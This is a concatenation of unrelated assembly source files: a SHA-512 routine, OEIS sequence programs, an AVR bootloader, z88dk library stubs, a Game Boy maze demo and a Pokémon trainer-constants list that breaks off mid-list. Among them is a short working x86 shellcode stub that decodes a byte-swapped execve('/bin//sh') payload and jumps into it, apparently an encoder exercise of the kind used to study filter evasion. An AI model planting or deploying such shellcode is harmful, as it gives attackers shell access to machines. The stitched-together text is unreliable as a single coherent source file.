dq 0x4cc5d4becb3e42b6,0x597f299cfc657e2a dq 0x5fcb6fab3ad6faec,0x6c44198c4a475817 align 16 PSHUFFLE_BYTE_FLIP_MASK: ;ddq 0x08090a0b0c0d0e0f0001020304050607 dq 0x0001020304050607, 0x08090a0b0c0d0e0f ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; void FUNC(void *input_data, UINT64 digest[8]) ;; arg 1 : pointer to input data ;; arg 2 : pointer to digest section .text MKGLOBAL(FUNC,function,internal) align 32 FUNC: endbranch64 push rbx %ifndef LINUX push rsi push rdi %endif push rbp push r13 push r14 push r15 sub rsp,STACK_size %ifndef LINUX movdqa [rsp + _XMM_SAVE + 0*16],xmm6 movdqa [rsp + _XMM_SAVE + 1*16],xmm7 movdqa [rsp + _XMM_SAVE + 2*16],xmm8 movdqa [rsp + _XMM_SAVE + 3*16],xmm9 movdqa [rsp + _XMM_SAVE + 4*16],xmm10 movdqa [rsp + _XMM_SAVE + 5*16],xmm11 movdqa [rsp + _XMM_SAVE + 6*16],xmm12 movdqa [rsp + _XMM_SAVE + 7*16],xmm13 %endif ;; load initial digest mov a, [8*0 + CTX] mov b, [8*1 + CTX] mov c, [8*2 + CTX] mov d, [8*3 + CTX] mov e, [8*4 + CTX] mov f, [8*5 + CTX] mov g, [8*6 + CTX] mov h, [8*7 + CTX] movdqa BYTE_FLIP_MASK, [rel PSHUFFLE_BYTE_FLIP_MASK] lea TBL,[rel K512] ;; byte swap first 16 qwords COPY_XMM_AND_BSWAP X0, [INP + 0*16], BYTE_FLIP_MASK COPY_XMM_AND_BSWAP X1, [INP + 1*16], BYTE_FLIP_MASK COPY_XMM_AND_BSWAP X2, [INP + 2*16], BYTE_FLIP_MASK COPY_XMM_AND_BSWAP X3, [INP + 3*16], BYTE_FLIP_MASK COPY_XMM_AND_BSWAP X4, [INP + 4*16], BYTE_FLIP_MASK COPY_XMM_AND_BSWAP X5, [INP + 5*16], BYTE_FLIP_MASK COPY_XMM_AND_BSWAP X6, [INP + 6*16], BYTE_FLIP_MASK COPY_XMM_AND_BSWAP X7, [INP + 7*16], BYTE_FLIP_MASK ;; schedule 64 input qwords, by doing 4 iterations of 16 rounds mov SRND, 4 align 16 loop1: %assign i 0 %rep 7 movdqa XFER, X0 paddq XFER, [TBL + i*16] movdqa [rsp + _XFER], XFER TWO_ROUNDS_AND_SCHED %assign i (i+1) %endrep movdqa XFER, X0 paddq XFER, [TBL + 7*16] movdqa [rsp + _XFER], XFER add TBL, 8*16 TWO_ROUNDS_AND_SCHED sub SRND, 1 jne loop1 mov SRND, 2 loop2: paddq X0, [TBL + 0*16] movdqa [rsp + _XFER], X0 DO_ROUND 0 DO_ROUND 1 paddq X1, [TBL + 1*16] movdqa [rsp + _XFER], X1 DO_ROUND 0 DO_ROUND 1 paddq X2, [TBL + 2*16] movdqa [rsp + _XFER], X2 DO_ROUND 0 DO_ROUND 1 paddq X3, [TBL + 3*16] movdqa [rsp + _XFER], X3 add TBL, 4*16 DO_ROUND 0 DO_ROUND 1 movdqa X0, X4 movdqa X1, X5 movdqa X2, X6 movdqa X3, X7 sub SRND, 1 jne loop2 add [8*0 + CTX], a add [8*1 + CTX], b add [8*2 + CTX], c add [8*3 + CTX], d add [8*4 + CTX], e add [8*5 + CTX], f add [8*6 + CTX], g add [8*7 + CTX], h done_hash: %ifndef LINUX movdqa xmm6,[rsp + _XMM_SAVE + 0*16] movdqa xmm7,[rsp + _XMM_SAVE + 1*16] movdqa xmm8,[rsp + _XMM_SAVE + 2*16] movdqa xmm9,[rsp + _XMM_SAVE + 3*16] movdqa xmm10,[rsp + _XMM_SAVE + 4*16] movdqa xmm11,[rsp + _XMM_SAVE + 5*16] movdqa xmm12,[rsp + _XMM_SAVE + 6*16] movdqa xmm13,[rsp + _XMM_SAVE + 7*16] %ifdef SAFE_DATA ;; Clear potential sensitive data stored in stack clear_xmms_sse xmm0, xmm1, xmm2, xmm3, xmm4, xmm5 movdqa [rsp + _XMM_SAVE + 0 * 16], xmm0 movdqa [rsp + _XMM_SAVE + 1 * 16], xmm0 movdqa [rsp + _XMM_SAVE + 2 * 16], xmm0 movdqa [rsp + _XMM_SAVE + 3 * 16], xmm0 movdqa [rsp + _XMM_SAVE + 4 * 16], xmm0 movdqa [rsp + _XMM_SAVE + 5 * 16], xmm0 movdqa [rsp + _XMM_SAVE + 6 * 16], xmm0 movdqa [rsp + _XMM_SAVE + 7 * 16], xmm0 %endif %else ;; LINUX %ifdef SAFE_DATA clear_all_xmms_sse_asm %endif %endif ;; LINUX add rsp, STACK_size pop r15 pop r14 pop r13 pop rbp %ifndef LINUX pop rdi pop rsi %endif pop rbx ret %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
; A189709: Partial sums of A189706. ; 0,1,2,2,2,3,3,3,4,4,5,6,6,7,8,8,8,9,9,10,11,11,12,13,13,13,14,14,15,16,16,16,17,17,17,18,18,19,20,20,20,21,21,21,22,22,23,24,24,25,26,26,26,27,27,28,29,29,29,30,30,30,31,31,32,33,33,33,34,34,34,35,35,36,37,37,38,39,39,39,40 mov $2,$0 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mul $0,2 cal $0,156595 ; Fixed point of the morphism 0->011, 1->010. mov $3,$0 mov $0,8 add $3,1 pow $3,2 add $3,8 add $0,$3 mov $3,$0 sub $3,17 div $3,3 add $1,$3 lpe
global _start section .text _start: jmp short call_shellcode decoder: pop esi ; now contains address of the encoded shellcode xor ecx,ecx mov cl,13 ;13 = 26/2, shellcode is decoded 2bytewise (swap) decode: ;swap first byte (esi) and second byte (esi+1) mov al,[esi] ;load first byte to al inc esi mov ah,[esi] ;load second byte to ah mov [esi],al ;load al to second byte dec esi mov [esi],ah ;load ah to first byte ;mov to next 2 bytes add esi,2 ;esi + 2 loop decode jmp short EncodedShellcode call_shellcode: call decoder EncodedShellcode: db 0xc0,0x31,0x68,0x50,0x2f,0x2f,0x68,0x73,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0xe2,0x89,0x89,0x53,0xb0,0xe1,0xcd,0x0b,0x90,0x80 ;shellcode length = 26
; A106854: Expansion of 1/(1-x*(1-5*x)). ; 1,1,-4,-9,11,56,1,-279,-284,1111,2531,-3024,-15679,-559,77836,80631,-308549,-711704,831041,4389561,234356,-21713449,-22885229,85682016,200108161,-228301919,-1228842724,-87333129,6056880491,6493546136,-23790856319,-56258586999,62695694596,343988629591,30510156611,-1689432991344,-1841983774399,6605181182321,15815100054316,-17210805857289,-96286306128869,-10232276842424,471199253801921,522360638014041,-1833635630995564,-4445438821065769,4722739333912051 mov $1,2 mov $2,2 lpb $0,1 sub $0,1 mul $1,5 sub $2,$1 add $1,$2 lpe sub $1,2 div $1,10 mul $1,5 add $1,1
; A019767: Decimal expansion of 2*e/11. ; 4,9,4,2,3,3,0,5,9,7,1,9,8,2,6,4,0,6,4,2,9,1,4,3,1,7,6,6,0,9,5,7,4,9,9,9,5,9,2,2,2,6,7,4,4,3,0,9,0,8,3,5,5,9,0,8,4,9,0,3,2,0,5,0,4,0,7,4,1,2,0,5,5,1,8,8,2,6,8,3,5,3,7,6,6,1,4,9,4,1,5,5,0,0,3,0,2,5,9,5 add $0,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $2,$3 add $1,$2 cmp $4,0 mov $5,$0 div $5,3 add $5,$4 div $1,$5 div $2,$5 sub $3,1 cmp $4,0 lpe div $1,11 mul $1,2 mov $6,10 pow $6,$0 div $2,$6 div $1,$2 mod $1,10 mov $0,$1
; Copyright (C) 2004 Limor Fried ; x0xb0x bootloader ;This program is free software; you can redistribute it and/or modify it under ;the terms of the GNU General Public License as published by the Free Software ;Foundation; either version 2 of the License, or (at your option) any later version. ;This program is distgtributed in the hope that it will be useful, but WITHOUT ;ANY WARRANTY without even the implied warranty of MERCHANTABILITY or FITNESS ;FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. ;You should have received a copy of the GNU General Public License along with ;this program; if not, write to the Free Software Foundation, Inc., 59 Temple ;Place, Suite 330, Boston, MA 02111-1307 USA .include "m162def.inc" .equ FREQ = 16000000 ; in Hz .equ WAITSEC = 3 ; in seconds .equ BAUD = 19200 ; Baud rate .equ UBR = FREQ / (16 * BAUD) - 1 ;**************** constants .equ DevType = 0xA2 ; Device type for ATmega162 .equ HW_VER = 0x02 .equ SW_MAJ_VER = 0x01 .equ SW_MIN_VER = 0x0f .equ SB1 = 0x04 .equ SB2 = 0x94 .equ SB3 = 0x1e ; for atmega162 (define which uart to use) .equ UART_DR = UDR1 .equ UBRRL = UBRR1L .equ UCSRA = UCSR1A .equ UCSRB = UCSR1B .EQU MYBOOTSTART = 0x1F00 ; for atmega162 .equ ERASE_MAX = 0x1F00 .equ USERCODE_RESET = 0x0000 ; for bootloader-reset atmels (like, everything but the attiny) ;**************** Registers .def temp3 = R21 .def temp = R24 ; Temporary register .def temp2 = R25 .def Delay = R17 .def Delay2 = R18 .def char = R20 ; UART character .def DataL = R22 .def DataH = R23 .def AddrL = R26 ; also known as register X .def AddrH = R27 .CSEG .org USERCODE_RESET .DB 0xFF, 0xFF .ORG MYBOOTSTART BOOTLOADER: ldi temp, high(RAMEND) out SPH, temp ldi temp, low(RAMEND) out SPL, temp ldi temp, 250 rcall DELAY_MS ; Setup UART 19.2Kbps ldi temp, UBR out UBRRL, temp ldi temp, (1<<RXEN)|(1<<TXEN) out UCSRB, temp ; see if we have anything to bootload! ; if the spot we use to store the resetvector is 0xFF then go straight to bootloader ldi ZH, high(2*USERCODE_RESET) ldi ZL, low(2*USERCODE_RESET) lpm temp, Z cpi temp, 0xFF breq L_BOOTLOADER ldi temp, 250 rcall DELAY_MS ; Check to see if the user selected bootloadmode! ldi temp, 0xC0 ; led latch (o), rotary com (o), rot1, rot2, rot4, ro8, tempoa, tempob out DDRA, temp ldi temp, 0x7C ; pullups on rotary1,2,4,8, function knob read out PORTA, temp ldi temp, 250 rcall DELAY_MS in temp, PINA ; read func switches into temp andi temp, (0xF << 2) ; mask off 4 pins (2-5) cpi temp, (0x6 << 2) ; position #6 is bootload breq L_BOOTLOADER ; ok not bootloading...run the code! jmp USERCODE_RESET L_BOOTLOADER: rcall UART_RX cpi char, 0x1B breq L_MAINLOOP HALT: rjmp HALT L_MAINLOOP: rcall UART_RX cpi char, 0x1B ; escape char breq L_MAINLOOP cpi char, 'a' brne L_NOT_AUTOINCREMENT ldi char, 'Y' rjmp L_END_SEND_CHAR L_NOT_AUTOINCREMENT: cpi char, 'A' brne L_NOT_WRITEADDR rcall UART_RX mov AddrH, char rcall UART_RX mov AddrL, char lsl AddrL rol AddrH rjmp L_END_WITH_CR L_NOT_WRITEADDR: cpi char, 'c' brne L_NOT_WRITEMEM_LOW rcall UART_RX mov DataL, char rjmp L_END_WITH_CR L_NOT_WRITEMEM_LOW: cpi char, 'C' brne L_NOT_WRITEMEM_HIGH rcall UART_RX mov DataH, char movw ZL, AddrL movw R0, DataL ldi temp, 0x1 out SPMCR, temp spm adiw AddrL, 2 rjmp L_END_WITH_CR L_NOT_WRITEMEM_HIGH: cpi char, 'e' brne L_NOT_CHIPERASE ; for (addr=1; addr < ERASE_MAX; addr+= (2*PAGESIZE)) ldi AddrL, 1 clr AddrH rjmp L_ERASECHIP_TEST L_ERASECHIP: movw ZL, AddrL ; wait for spm to finish L_ERASECHIP_WAIT: in temp, SPMCR sbrc temp, SPMEN rjmp L_ERASECHIP_WAIT ldi temp, 0x3 out SPMCR, temp spm subi AddrL, low(-2*PAGESIZE) sbci AddrH, high(-2*PAGESIZE) L_ERASECHIP_TEST: ldi temp, low(2*ERASE_MAX) ldi temp2, high(2*ERASE_MAX) cp AddrL, temp cpc AddrH, temp2 brlo L_ERASECHIP rjmp L_END_WITH_CR L_NOT_CHIPERASE: cpi char, 'm' brne L_NOT_WRITEPAGE movw ZL, AddrL ldi temp, 0x05 out SPMCR, temp spm nop rjmp L_END_WITH_CR L_NOT_WRITEPAGE: cpi char, 'p' brne L_NOT_PROGTYPE ldi char, 'S' rjmp L_END_SEND_CHAR L_NOT_PROGTYPE: cpi char, 'R' brne L_NOT_READPROGMEM movw ZL, AddrL lpm temp, Z+ lpm char, Z+ rcall UART_TX movw AddrL, ZL mov char, temp rjmp L_END_SEND_CHAR L_NOT_READPROGMEM: cpi char, 'D' brne L_NOT_WRITEEEPROM rcall UART_RX out EEDR, char ldi temp, 0x6 rcall EEPROMtalk rjmp L_END_WITH_CR L_NOT_WRITEEEPROM: cpi char, 'd' brne L_NOT_READEEPROM ldi temp, 0x1 rcall EEPROMtalk rcall L_END_SEND_CHAR L_NOT_READEEPROM: cpi char, 'F' brne L_NOT_READFUSE clr ZL rjmp L_END_readFuseAndLock L_NOT_READFUSE: cpi char, 'r' brne L_NOT_READLOCK ldi ZL, 0x1 rjmp L_END_readFuseAndLock L_NOT_READLOCK: cpi char, 'N' brne L_NOT_READFUSE_HIGH ldi ZL, 0x3 L_END_readFuseAndLock: rcall readFuseAndLock rjmp L_END_SEND_CHAR L_NOT_READFUSE_HIGH: cpi char, 't' brne L_NOT_REQSUPPORTED ldi char, DEVTYPE rcall UART_TX clr char rjmp L_END_SEND_CHAR L_NOT_REQSUPPORTED: cpi char, 'l' breq L_WRITELOCK cpi char, 'x' breq L_SETLED cpi char, 'y' breq L_CLRLED cpi char, 'T' brne L_NOT_SETDEVTYPE rcall UART_RX rjmp L_END_WITH_CR L_SETLED: rcall UART_RX L_WRITELOCK: ; unsupported? rjmp L_END_WITH_CR L_CLRLED: rcall UART_RX rjmp L_END_WITH_CR L_NOT_SETDEVTYPE: cpi char, 'S' brne L_NOT_SOFTID ldi ZL, low(2*SOFT_ID) ldi ZH, high(2*SOFT_ID) L_SOFTID: lpm char, Z+ tst char breq L_END rcall UART_TX rjmp L_SOFTID L_NOT_SOFTID: cpi char, 'V' brne L_NOT_SOFTVER ldi char, '1' rcall UART_TX ldi char, '2' rjmp L_END_SEND_CHAR L_NOT_SOFTVER: cpi char, 's' brne L_NOT_SENDSB ldi char, SB1 rcall UART_TX ldi char, SB2 rcall UART_TX ldi char, SB3 rjmp L_END_SEND_CHAR L_NOT_SENDSB: cpi char, 'P' breq L_END_WITH_CR cpi char, 'L' breq L_END_WITH_CR ; fast read and write FLASH cpi char, 'z' brne L_NOT_FASTREAD ; return 1 page movw ZL, AddrL ldi TEMP2, PAGESIZE ; PAGESIZE words L_FASTREAD_LOOP: lpm char, Z+ rcall UART_TX lpm char, Z+ rcall UART_TX dec TEMP2 brne L_FASTREAD_LOOP movw AddrL, ZL rjmp L_END ; fast write flash L_NOT_FASTREAD: cpi char, 'Z' brne L_NOT_FASTWRITE movw ZL, AddrL ; FIXME? make sure ZL < erasemax?? ldi temp2, PAGESIZE L_FASTWRITE_LOOP: rcall UART_RX mov R0, char rcall UART_RX mov R1, char ldi temp, 0x1 out SPMCR, temp spm dec TEMP2 breq L_FASTWRITE_FLUSHPAGE adiw ZL, 2 rjmp L_FASTWRITE_LOOP L_FASTWRITE_FLUSHPAGE: ; write out the page ldi temp, 0x05 out SPMCR, temp spm adiw ZL, 2 movw AddrL, ZL rjmp L_END_WITH_CR L_NOT_FASTWRITE: L_ELSE: ldi char, '?' rjmp L_END_SEND_CHAR L_END_WITH_CR: ldi char, 13 L_END_SEND_CHAR: rcall UART_TX L_END: rjmp L_MAINLOOP readFuseAndLock: clr ZH ldi temp, 0x9 out SPMCR, temp lpm char, Z ret EEPROMtalk: out EEARL, AddrL out EEARH, AddrH adiw AddrL,1 sbrc temp, 1 sbi EECR, EEMWE out EECR, temp L_EEPROM: sbic EECR, EEWE rjmp L_EEPROM in char, EEDR ret ; reads a byte in from the UART and put it in register "CHAR" UART_RX: sbis UCSRA, RXC rjmp UART_RX in char, UART_DR ret ; takes a byte in register "CHAR" and sends it on the UART UART_TX: sbis UCSRA, UDRE rjmp UART_TX out UART_DR, char ret DELAY_MS: rcall DELAY_1MS dec TEMP brne DELAY_MS ret DELAY_1MS: ldi DELAY2, FREQ / (1033*6*50) ; the 1034 is there as a tweak. L_DELAY2: ldi DELAY, 50 L_DELAY1: ; this loop takes 3 cycles on avg dec DELAY brne L_DELAY1 dec DELAY2 brne L_DELAY2 ret SOFT_ID: .DB "x0xb0x1", 0
; size_t fwrite_callee(void *ptr, size_t size, size_t nmemb, FILE *stream) INCLUDE "config_private.inc" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _fwrite_callee EXTERN asm_fwrite _fwrite_callee: pop af pop hl pop bc pop de pop ix push af jp asm_fwrite ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _fwrite_callee EXTERN _fwrite_unlocked_callee defc _fwrite_callee = _fwrite_unlocked_callee ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LL28Amul256DivD: JumpIfAGTENusng d, .Ll28Exit255 ld e,%11111110 ; Set R to have bits 1-7 set, so we can rotate through 7 .LL31: sla a jr c,.LL29 JumpIfALTNusng d, .SkipSub ; will jump if carry set, so we need to reset on the rol sub d ClearCarryFlag ; reset clarry as it will be complimented for rotate as 6502 does carry flags inverted .SkipSub: ccf ; if we did the subtract the carry will be clear so we need to invert to roll in. rl e jr c,.LL31 ld a,e ret .LL29: sub d ; A >= Q, so set A = A - Q scf ; Set the C flag to rotate into the result in R rl e ; rotate counter e left jr c,.LL31 ; if a bit was spat off teh end then loop ld a,e ; stick result in a ret .Ll28Exit255: ld a,255 ; Fail with FF as result ret
SECTION code_clib SECTION code_l PUBLIC l_long_store_mhl l_long_store_mhl: ; store long to address in hl ; ; enter : debc = long ; ; exit : *hl = debc ; hl += 3 ; ; uses : hl ld (hl),c inc hl ld (hl),b inc hl ld (hl),e inc hl ld (hl),d ret
; `10 PRINT` Game Boy ; =================== ; ; This program generates a random maze to the Game Boy screen. A port of the ; famous one-liner `10 PRINT CHR$(205.5+RND(1)); : GOTO 10`, originally written ; in BASIC for the Commodore 64 during the early 1980s. For more about that and ; how this project came to be, consult the [README][readme]. ; ; Two good companions ; ------------------- ; ; There's a good idea to have the [Game Boy Programming Manual][gbmanual] and ; [Rednex Game Boy Development System man pages][rgbds] at hand, for reference, ; while studying this source. ; ; Main loop ; --------- ; ; Before writing any code, one must tell the assembler and linker where the ; instructions and data should end up. Using RGBDS, the assembler of my choice, ; that's done with the `SECTION` keyword. A section specifies a name that can ; be anything you want, and a location, like ROM or WRAM. ; ; The first section in this program contains the main loop that generates the ; maze. Let's give it a name and place it in `ROM0`, starting at memory address ; `$0000`. ; SECTION "10 PRINT", ROM0 ; It's not a compact one-liner, like the BASIC version, but the instructions on ; the following lines may feel somewhat familiar. ; ten: ; 10 - Not the best label name but makes one feel at home. call random ; RND - Subroutine puts a random number in register `a`. and a, 1 ; We don't care for a full 8-bit value though, instead inc a ; CHR$ make it 1 or 2 (the character codes for \ and /). call print ; PRINT - Prints the character in register `a` to LCD. jp ten ; GOTO 10 - Wash, rinse, repeat! ; Is that all assembly code we need kick this off? Yes and no. The heavy lifting ; is done by the two subroutines, `random` and `print`, and they are not ; implemented yet. More about them in a moment, but first, let's make our lives ; a more comfortable by defining some universal constants. ; ; Constants ; --------- ; ; There's a lot of magic numbers to keep track of when developing for Game Boy. ; We talk to its peripherals through hardware registers (memory mapped IO) and ; sprinkle numbers with special meaning around the source. ; ; Using constants, like `LCD_STATUS`, is easier to remember than specific ; addresses or values, like `$FF41` or `%11100100`. ; ; ### Memory map ; CHARACTER_DATA EQU $8000 ; Area for 8 x 8 characters (tiles). BG_DISPLAY_DATA EQU $9800 ; Area for background display data (tilemap). SOUND_CONTROL EQU $FF26 ; Sound circuits status and control. LCD_STATUS EQU $FF41 ; Holds the current LCD controller status. LCD_SCROLL_Y EQU $FF42 ; Vertical scroll position for background. LCD_Y_COORDINATE EQU $FF44 ; Current line being sent to LCD controller. LCD_BG_PALETTE EQU $FF47 ; Palette data for background. ; ### Magic values ; CHARACTER_SIZE EQU 16 ; 8 x 8 and 2 bits per pixel (16 bytes). LCD_BUSY EQU %00000010 ; LCD controller is busy, CPU has no access. LCD_DEFAULT_PALETTE EQU %11100100 ; Default grayscale palette. ; KERNAL ; ------ ; ; Developing for Game Boy are more bare bones compared to Commodore 64, that ; enjoys the luxuries of BASIC and the KERNAL. There's no `RND` function to call ; for random numbers and no PETSCII font that can be `PRINT`ed to the screen. ; ; For the code under the `10 PRINT` section to work we have to implement the ; necessary subroutines `print` and `random`. ; ; The following section, named KERNAL as a homage to C64, is the actual starting ; point for this program. When a Game Boy is turned on an internal program kicks ; off by scrolling the Nintendo logo and setting some initial state. Then ; control is passed over to the user program, starting at memory address `$150` ; by default. ; SECTION "KERNAL", ROM0[$150] ; The original KERNAL is the Commodore 64's operating system. This little demo ; won't need a complete operating system, but we will have to implement some of ; the low-level subroutines. ; ; But first things first. This is where user program starts so let us begin with ; some initialization before passing control over to the `10 PRINT` section. ; ; Set default grayscale palette. ld a, LCD_DEFAULT_PALETTE ld [LCD_BG_PALETTE], a ; Disable all sound circuits to save battery. ld hl, SOUND_CONTROL res 7, [hl] ; Copy two characters (tiles) worth of data from ROM to character data area in ; LCD RAM. Keep the first character in RAM empty, though, by using offset ; `$10`. ld hl, slash ld bc, CHARACTER_SIZE * 2 ld de, CHARACTER_DATA + $10 call copy_to_vram ; Set cursor position to top left of background. ld de, BG_DISPLAY_DATA call set_cursor ; Initialize the scroll counter. ld a, $01 ld [countdown_to_scroll + 1], a ld a, $69 ld [countdown_to_scroll], a ; Clear background display area of the logotype. ld de, BG_DISPLAY_DATA ld bc, $400 ld a, 0 call fill_vram ; Set starting seed for the pseudo-random number generator to 42. ld a, 42 ld [seed], a ; Let the show begin! jp ten ; ### `print` subroutine ; ; Prints the character in the register `a` to the screen. It automatically ; advances `cursor_position` and handles scrolling. ; ; | Registers | Comments | ; | --------- | ------------------------------------------ | ; | `a` | **parameter** character code to be printed | ; print: push de push hl push bc push af ld a, [cursor_position] ld l, a ld a, [cursor_position + 1] ld h, a .check_if_scroll_needed: ld a, [countdown_to_scroll + 1] ld d, a ld a, [countdown_to_scroll] ld e, a dec de inc e dec e ; cp e, 0 jp nz, .save_countdown inc d dec d ; cp d, 0 jp nz, .save_countdown ld de, 2 * 20 .scroll_two_rows push de push hl ld d, h ld e, l ld bc, 2 * 32 ; two full rows ld a, 0 call fill_vram pop hl pop de ld a, [LCD_SCROLL_Y] add a, 16 ld [LCD_SCROLL_Y], a .save_countdown: ld a, d ld [countdown_to_scroll + 1], a ld a, e ld [countdown_to_scroll], a .wait_for_v_blank: ld a, [LCD_Y_COORDINATE] cp 144 jr nz, .wait_for_v_blank ; Take the character code back from the stack and print it to the screen. ; Advance the cursor one step. pop af ld [hl+], a ld d, h ld e, l call set_cursor pop bc pop hl pop de ret ; ### `random` subroutine ; ; Returns a random 8-bit number in the register `a`. ; ; | Registers | Comments | ; | --------- | -------------------------------- | ; | `a` | **returned** random 8-bit number | ; random: ld a, [seed] sla a jp nc, .no_error xor a, $1d .no_error: ld [seed], a ret ; ### `fill_vram` subroutine ; ; Write `bc` bytes of `a` starting at `de`, assuming destination is ; `$8000-$9FFF` and thus waits for VRAM to be accessible by the CPU. ; ; | Registers | Comments | ; | --------- | ------------------------------------- | ; | `de` | **parameter** starting address | ; | `bc` | **parameter** number of bytes to copy | ; | `a` | **parameter** value to write | ; | `hl` | **scratched** used for addressing | ; fill_vram: .wait_for_vram: ld a, [LCD_STATUS] and LCD_BUSY jr nz, .wait_for_vram ld [de], a ld h, d ld l, e inc de dec bc ; ### `copy_to_vram` subroutine ; ; Copy `bc` bytes from `hl` to `de`, assuming destination is `$8000-$9FFF` and ; thus waits for VRAM to be accessible by the CPU. ; ; | Registers | Comments | ; | --------- | ------------------------------------- | ; | `hl` | **parameter** source address | ; | `de` | **parameter** destination address | ; | `bc` | **parameter** number of bytes to copy | ; | `a` | **scratched** used for comparison | ; copy_to_vram: .wait_for_vram: ld a, [LCD_STATUS] and LCD_BUSY jr nz, .wait_for_vram ld a, [hl+] ld [de], a inc de dec bc ld a, c or b jr nz, copy_to_vram ret ; ### `set_cursor` subroutine ; ; Set cursor position, the location of the next character that's going to be ; written to LCD using `print`. ; ; | Registers | Comments | ; | --------- | --------------------------------------------------------| ; | `de` | **parameter** cursor position within background display | ; set_cursor: push af push hl ld a, $14 ; We are gooing to loop from $14 to $F4... .check_for_screen_edge: ; ...checking if cursor is on screen edge... cp a, e jr z, .move_cursor_to_next_line ; ...and in that case move it to next line. cp a, $F4 jr z, .save_position ; End the loop if finished... add a, $20 ; ...else increment... jp .check_for_screen_edge ; ...and loop. .move_cursor_to_next_line: add a, $B ld e, a inc de .check_for_reset: ld a, $9C cp a, d jp nz, .save_position ld a, $00 cp a, e jp nz, .save_position ld de, BG_DISPLAY_DATA .save_position: ld hl, cursor_position ld [hl], e inc hl ld [hl], d .end: pop hl pop af ret ; ### Variables ; ; The KERNAL makes use of variables, and this section allocates memory for them. ; SECTION "Variables", WRAM0 cursor_position: ds 2 countdown_to_scroll: ds 2 seed: ds 1 ; ### Character data (tiles) ; ; Here are the actual graphical characters (tiles) that will be printed to ; screen: backslash and slash. With the current palette `0` represents white ; and `3` represents black. The Game Boy is capable of showing four different ; shades of grey. Or is it green? ; SECTION "Character data (tiles)", ROM0 slash: dw `00000033 dw `00000333 dw `00003330 dw `00033300 dw `00333000 dw `03330000 dw `33300000 dw `33000000 backslash: dw `33000000 dw `33300000 dw `03330000 dw `00333000 dw `00033300 dw `00003330 dw `00000333 dw `00000033 ; ROM Registration Data ; --------------------- ; ; Every Game Boy ROM has a section (`$100-$14F`) where ROM registration data is ; stored. It contains information about the ROM, like the name of the game, if ; it's a Japanese release and more. ; ; For the ROM to boot correctly, this section has to be present. ; SECTION "ROM Registration Data", ROM0[$100] ; The first four bytes are not data but instructions, making a jump to the user ; program. By default `$150` is allocated as the starting address, but you can ; change it to whatever you want. ; ; We could write the first four bytes with the `db` keyword: ; `db $00, $c3, $50, $01` ; ; But, for clarity, let's use the mnemonics instead. ; nop jp $150 ; Instead of filling out this whole section by hand we'll use the tool `rgbfix` ; once we [assemble and link the ROM][asm]. ; ; [gbmanual]: https://ia801906.us.archive.org/19/items/GameBoyProgManVer1.1/GameBoyProgManVer1.1.pdf ; [rgbds]: https://www.mankier.com/7/rgbds ; [readme]: ./README.md ; [asm]: ./README.md#assemble-using-rgbds
trainerclass: MACRO enum \1 const_value = 1 ENDM ; trainer class ids ; `trainerclass` indexes are for: ; - TrainerClassNames (see data/trainers/class_names.asm) ; - TrainerClassAttributes (see data/trainers/attributes.asm) ; - TrainerClassDVs (see data/trainers/dvs.asm) ; - TrainerGroups (see data/trainers/party_pointers.asm) ; - TrainerEncounterMusic (see data/trainers/encounter_music.asm) ; - TrainerPicPointers (see data/trainers/pic_pointers.asm) ; - TrainerPalettes (see data/trainers/palettes.asm) ; - BTTrainerClassSprites (see data/trainers/sprites.asm) ; - BTTrainerClassGenders (see data/trainers/genders.asm) ; trainer constants are Trainers indexes, for the sub-tables of TrainerGroups (see data/trainers/parties.asm) enum_start CHRIS EQU __enum__ trainerclass TRAINER_NONE ; 0 const PHONECONTACT_MOM const PHONECONTACT_BIKESHOP const PHONECONTACT_BILL const PHONECONTACT_ELM const PHONECONTACT_BUENA KRIS EQU __enum__ trainerclass FALKNER ; 1 const FALKNER1 trainerclass WHITNEY ; 2 const WHITNEY1 trainerclass BUGSY ; 3 const BUGSY1 trainerclass MORTY ; 4 const MORTY1 trainerclass PRYCE ; 5 const PRYCE1 trainerclass JASMINE ; 6 const JASMINE1 trainerclass CHUCK ; 7 const CHUCK1 trainerclass CLAIR ; 8 const CLAIR1 trainerclass RIVAL1 ; 9 const RIVAL1_1_CHIKORITA const RIVAL1_1_CYNDAQUIL const RIVAL1_1_TOTODILE const RIVAL1_2_CHIKORITA const RIVAL1_2_CYNDAQUIL const RIVAL1_2_TOTODILE const RIVAL1_3_CHIKORITA const RIVAL1_3_CYNDAQUIL const RIVAL1_3_TOTODILE const RIVAL1_4_CHIKORITA const RIVAL1_4_CYNDAQUIL const RIVAL1_4_TOTODILE const RIVAL1_5_CHIKORITA const RIVAL1_5_CYNDAQUIL const RIVAL1_5_TOTODILE trainerclass POKEMON_PROF ; a trainerclass WILL ; b const WILL1 trainerclass CAL ; c const CAL1 const CAL2 const CAL3 trainerclass BRUNO ; d const BRUNO1 trainerclass KAREN ; e const KAREN1 trainerclass KOGA ; f const KOGA1 trainerclass CHAMPION ; 10 const LANCE trainerclass BROCK ; 11 const BROCK1 trainerclass MISTY ; 12 const MISTY1 trainerclass LT_SURGE ; 13 const LT_SURGE1 trainerclass SCIENTIST ; 14 const ROSS const MITCH const JED const MARC const RICH trainerclass ERIKA ; 15 const ERIKA1 trainerclass YOUNGSTER ; 16 const JOEY1 const MIKEY const ALBERT const GORDON const SAMUEL const IAN const JOEY2 const JOEY3 const WARREN const JIMMY const OWEN const JASON const JOEY4 const JOEY5 trainerclass SCHOOLBOY ; 17 const JACK1 const KIPP const ALAN1 const JOHNNY const DANNY const TOMMY const DUDLEY const JOE const BILLY const CHAD1 const NATE const RICKY const JACK2 const JACK3 const 